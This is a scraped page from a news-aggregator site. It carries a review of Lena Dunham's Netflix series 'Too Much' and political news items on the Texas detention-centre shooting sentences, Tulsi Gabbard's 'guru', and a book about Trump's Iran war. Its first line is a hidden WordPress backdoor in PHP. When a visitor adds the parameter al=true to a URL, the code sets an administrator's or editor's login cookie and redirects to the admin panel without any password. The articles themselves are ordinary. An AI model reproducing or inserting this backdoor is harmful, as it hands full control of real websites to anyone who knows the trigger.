// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Why ‘Too Much’ is one of the best shows on Netflix right now – Blue Light News
Connect with us

The Dictatorship

Why ‘Too Much’ is one of the best shows on Netflix right now

Published

on

Why ‘Too Much’ is one of the best shows on Netflix right now

Whether beaten down by the stress of the newsroom or spoiled by the truly great television of decades past, I rarely laugh out loud at TV shows any more. It is rarer still that I cry and I laugh at the same show. But this past week, I did both. Lena Dunham, the woman behind what I would call a generation-defining classic, got me good. “Too Much,” Dunham’s new Netflix series, doesn’t feel so much like “Girls” for the next generation, but instead like a series all too necessary for this specific moment.

I rarely laugh out loud at TV shows any more. It is rarer still that I cry and I laugh at the same show.

“Too Much” follows Jess, played by the amazing Megan Stalter, as she moves to London from New York City after a devastating breakup. In London she falls in complicated love with the disarming Indie rocker Felix. Unsurprisingly, Dunham packs a lot of great writing and emotional depth into this 10-episode arc. “Too Much” is a study in duality; both funny and sad, cute and serious, surreal and grounded. While fans of “Girls” will likely spot some references and some familiar faces — the similarities between Stalter and Dunham feel most obvious, and most important.

Driven by a trendy nostalgia for the so-called simplicity of the early-2000s, “Girls” has experienced a recent renaissance. Short clips of the show perpetually circulate on TikTok and the “Girls Rewatch” podcastfamous now for its introductory question, “Girl, what ‘girl’ are you?”, regularly goes viral. Dunham even recently joined the podcast while on her “Too Much” press tour.

But Dunham’s stardom is complicated, and it has been ever since “Girls” debuted in 2012. The success of the show coincided with the proliferation of not just social media, but of instantaneous social media commentary. As Dunham said on the “Girls Rewatch” podcast, “I was always partially tuned into what people were saying. […] It was impossible to ignore — and I knew that people would tell me what it meant to them, but I also knew that there were people that were angry.”

Dunham’s body and willingness to appear nude on “Girls” made people angry, certainly, and she became the subject of years of often unfair and unflattering cultural commentary. Since then, we have seen the rise and the fall of yet another iteration of the body positivity movement. Skinny, ever the patriarchal beauty standard, is always at a societal premium. But for a moment, it seemed like there was an earnest attempt at body inclusion. There was an acknowledgement that skinny was not a moral imperative nor a corollary to health.

But the meteoric rise of weight loss drugs like Ozempic and the shrinking of many formerly plus-size Hollywood stars has rapidly shifted the landscape once again. On social media, certainly, thin is back. Fashion designed with just skinny bodies in mind, like low-rise denim, is back in vogue.

Lena Dunham, though, has never altered her stance or herself. She has become bolder since her days on “Girls.” She takes up more space. She cares less about what anyone thinks or says about her. And whether or not you like her art, you have to admire that attitude in an industry where she has become an increasingly rare outlier. I certainly do.

Lena Dunham, though, has never altered her stance or herself. She has become bolder since her days on “Girls.”

Jess, like Dunham, does not fit standard beauty molds. And, crucially, she is not written just to be liked. She is quirky, negative, histrionic and obsessive. Centering her in a buzzy Netflix project like this feels, if not radical, refreshing. It’s very different from, for example, last year’s much talked about hit “Nobody Wants This,” starring Kristen Bell and Adam Brody.

But Dunham has a warning for anyone who wants to treat Stalter with the same vitriol she experienced, “If anybody has anything to say about any of my actors — I keep my mouth shut on most things these days, but try a b—. I’m not playing around here. It’s the only time that I’m going to be taking my hoops out, ready to fight.”

Ultimately I don’t think “Too Much” is going to dethrone “Girls” as Dunham’s most culturally impactful series. That isn’t the point, though. Women today don’t need “Girls,” they need “Too Much.” Leave it to Dunham to recognize that need, and deliver.

Hannah Holland

Hannah Holland is a producer for BLN’s “Velshi” and editor for the “Velshi Banned Book Club.” She writes for BLN Daily.

Read More

Continue Reading
Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

The Dictatorship

8 convicted in Texas immigration center shooting sentenced to decades in prison

Published

on

8 convicted in Texas immigration center shooting sentenced to decades in prison

FORT WORTH, Texas (AP) — Eight protesters accused by the Justice Department of having ties to antifawere sentenced Tuesday to decades in federal prison over a shooting outside a Texas immigration detention center that wounded a police officer. Prosecutors have called the shooting an act of terrorism.

One of the defendants, a former U.S. Marine Corps reservist convicted of opening fire during the July 4 demonstration outside the Prairieland Detention Center near Dallas, was sentenced to 100 years in prison, the maximum punishment.

The lengthy sentences were condemned by family members and supporters in a news conference outside the federal courthouse in Fort Worth. Hope Song, whose son Benjamin Songreceived the heftiest sentence, disputed prosecutors’ claims that her son shot the officer and said he didn’t intend to hurt anyone.

U.S. District Judge Reed O’Connor, one of two judges overseeing the proceedings, said what happened wasn’t a protest but “an assault on democracy.”

“The need to deter this type of conduct is high,” O’Connor said.

The seven other protesters received prison terms ranging from 30 to 70 years.

Prosecutors said the eight are members of antifa, a decentralized anti-fascist organization and a targetof the Trump administration. Antifa is not a single organization but rather an umbrella term for far-left militant groups that confront or resist neo-Nazis and white supremacists at demonstrations.

President Donald Trump last fall signed an executive order designating antifa a domestic terrorist organization, even though there is no domestic equivalent to the State Department’s list of foreign terror organizations.

The defendants deny any affiliation with antifa and maintain they attended the demonstration in support of detained immigrants.

Prosecutor Frank Gatto urged the judge to impose stiff penalties.

“People with that kind of extremist beliefs need extra time in prison,” Gatto said. “They believe violence is justified.”

Phillip Hayes, Song’s attorney, said outside the courthouse that he takes issue with the idea that the protesters are extremists.

“This is a bunch of kids and young adults who really have a really big heart and really wanted their voice to be heard,” Hayes said. “It was never intended that anybody get hurt. It was never intended that any shots would be fired.”

Prosecutors said in court that Song had yelled “get to the rifles” and opened fire, striking a police officer who had just pulled up to the center.

Hayes argued that Song’s shots were “suppressive fire” and that a ricochet bullet hit the officer after he arrived on the scene and “aggressively” pulled out his firearm. He said his client will appeal the 100-year sentence.

“Song, aside from this day, has had an impeccable life. A former Marine. A good student,” Hayes said. “He had a lot of good qualities that were just ignored. The judge went ahead and gave as much as he could.”

Other defendants and their family members pleaded for leniency in court.

Autumn Hill said the gathering “seemed more like a party to me than anything else” and that she and others who participated “didn’t expect or want any violence or destruction of property to occur.”

Amber Lowrey told the judge that her sister, Savanna Batten, is a compassionate person with dreams of opening a bakery. She said Batten’s activism started with animal rights and evolved into anti-war and human rights advocacy.

“She’s the best person I know,” Lowrey said.

Hill and Batten both received 50-year sentences.

Other defendants previously pleaded guilty to providing material support to terrorists rather than take their case to trial.

Critics warn the case could have a wide-reaching impact on protests given that organizations operating within the U.S. are supposed to be protected by First Amendment free-speech rights.

Last week, federal prosecutors charged 15 peoplewith impeding the Trump administration’s immigration crackdownin Minnesota. They claimed the demonstrators were members of antifa who conspired against the federal government to block arrests and deportations by setting up blockades around government buildings and throwing chunks of ice at federal vehicles, among other actions.

Read More

Continue Reading

The Dictatorship

Tulsi Gabbard and Senate GOP face difficult new questions over influence of her ‘guru’

Published

on

Tulsi Gabbard and Senate GOP face difficult new questions over influence of her ‘guru’

About a month into Donald Trump’s second term, Senate Republicans weighed whether to confirm one of the president’s worst nominees. Indeed, the list of reasons to reject Tulsi Gabbard’s nomination for director of national intelligence was not short.

The former congresswoman lacked the requisite experience in intelligence matters. She had an indefensible habit of echoing Russian propaganda. She struggled to explain her record of defending Bashar al-Assad’s Syrian regime. Senators heard from former national security officials who issued unsubtle warnings about elevating Gabbard to an important and influential position.

But in case that weren’t quite enough, let’s also not overlook the fact that Gabbard was a member of a secretive Hare Krishna offshoot religious sect that is considered by many of its former members to be an abusive cult.

Gabbard, who wrapped up her tenure as DNI last week, has long insisted that any suggestion that she was somehow enthralled to or controlled by this sect or its leader, whom she has referred to as her “guru,” is just bigotry against her faith.

But it’s against this backdrop that The Washington Post obtained hundreds of secret memos prepared for Gabbard during her congressional tenure, which were put together by members of the alleged cult and which included thousands of pages of specific directives to her on policy and politics.

After careful analysis of thousands of these documents, which have not been independently verified by MS NOW, the Post determined that they likely came from Gabbard’s secretive guru, a man named Chris Butler.

The memos, starting in 2013, when the Hawaiian first arrived on Capitol Hill, reflect a dynamic in which Gabbard didn’t just take direction from the materials, but essentially took dictation from the alleged cult leader: Memos told Gabbard what she should do as a member of Congress, and she often did exactly that, sometimes word for word.

The Post’s Jon Swaine spent months trying to get Gabbard to respond to questions, but to no avail. Her spokeswoman reportedly encouraged Swaine to drop the story, saying, “I cannot imagine WaPo’s readers would be interested in yet another uncredible, bigoted attack on the DNI’s faith.”

On May 20, Swaine nevertheless alerted the DNI and top members of her staff to the fact that the Post was prepared to publish his reporting anyway on her association with Butler.

On May 22, Fox News reported that Gabbard was leaving the administration, ostensibly because of a health issue involving her husband.

This week, Senate Minority Leader Chuck Schumer spoke on the Senate floor and commented on the reporting:

There are reports that Tulsi Gabbard was receiving instructions from a so-called guru and repeating them word for word. That ought to concern all of us if it’s true. No one knows who this guru really is, what his connections are, and where the instructions came from. … We need answers.

The New York Democrat’s comments made sense, though it’s worth considering who, exactly, “we need answers” from.

It stands to reason, for example, that Gabbard has some explaining to do, but I’m also interested in the answers from those who elevated her to an influential intelligence office in the first place.

In February 2025, confronted with an avalanche of reasons to reject Gabbard’s nomination, 52 Senate Republicans — every GOP member except Kentucky’s Mitch McConnell — shrugged off every red flag and voted to confirm her as the nation’s DNI, including so-called “moderates” such as Maine’s Susan Collins and Alaska’s Lisa Murkowski.

The question for these 52 senators seems obvious: Do you regret that confirmation vote and now recognize it as a mistake? Or do you still think it was a good idea to put Gabbard in this influential intelligence position?

Steve Benen is a producer for “The Rachel Maddow Show,” the editor of MaddowBlog and an MS NOW political contributor. He’s also the bestselling author of “Ministry of Truth: Democracy, Reality, and the Republicans’ War on the Recent Past.”

Read More

Continue Reading

The Dictatorship

Trump ignored warnings before launching Iran war, reporters tell MS NOW

Published

on

Trump ignored warnings before launching Iran war, reporters tell MS NOW

In the lead-up to the Iran war, President Donald Trump dismissed the possibility that Tehran would close the Strait of Hormuz despite warnings from his top military adviser, authors of a new book told MS NOW’s Lawrence O’Donnell on Monday.

In their first televised interview about “Regime Change: Inside the Imperial Presidency of Donald Trump,” New York Times reporters Maggie Haberman and Jonathan Swan said Trump also disregarded warnings from Gen. Dan Caine, the chairman of the Joint Chiefs of Staff, about the potential effects on American weaponry and about casualties.

The initial closure of the strait, a narrow passageway through which a fifth of the world’s oil passes, led to a spike in gas and oil prices. According to Swan, Trump thought Iran would have limited time to take action because the war would be over quickly — a claim he has made repeatedly during the nearly four-month-long war.

“He felt that this regime was a paper tiger, that this was going to be a fast war,” Swan said on “The Last Word.” “He just said he felt that that was going to be the case, that they were going to collapse very quickly.”

“It’s a form of magical thinking, actually, is what it all boils down to,” he added.

The revelation is just one of several in the book — which is based on more than 1,000 interviews — that illustrate how Trump repeatedly bases geopolitical decisions on his own whims rather than experts’ assessments.

Another example of such thinking was when Trump floated a plan to expel 2 million Palestinians from Gaza so he could turn it into the “Riviera of the Middle East.” Haberman and Swan wrote in the book that one senior aide characterized the idea as “legitimately nutso … but very on-brand.”

Haberman also spoke about “how scared” people were inside the White House ahead of last year’s so-called Liberation Daywhen Trump unveiled sweeping global tariffs. (The Supreme Court struck down those tariffs in February.)

“They were scared at how close the bond markets came to just completely melting down seven days later, which was finally what got him [Trump] off of it, but again, it was the willingness to just go straight to the brink” that was jarring, Haberman said.

Despite such fear among Trump’s staff, Haberman added, the White House makes up “a group of people who genuinely want to see him succeed.”

Julianne McShane is a breaking news reporter for MS NOW who also covers the politics of abortion and reproductive rights. You can send her tips from a non-work device on Signal at jmcshane.19 or follow her on X or Bluesky.

Read More

Continue Reading

Trending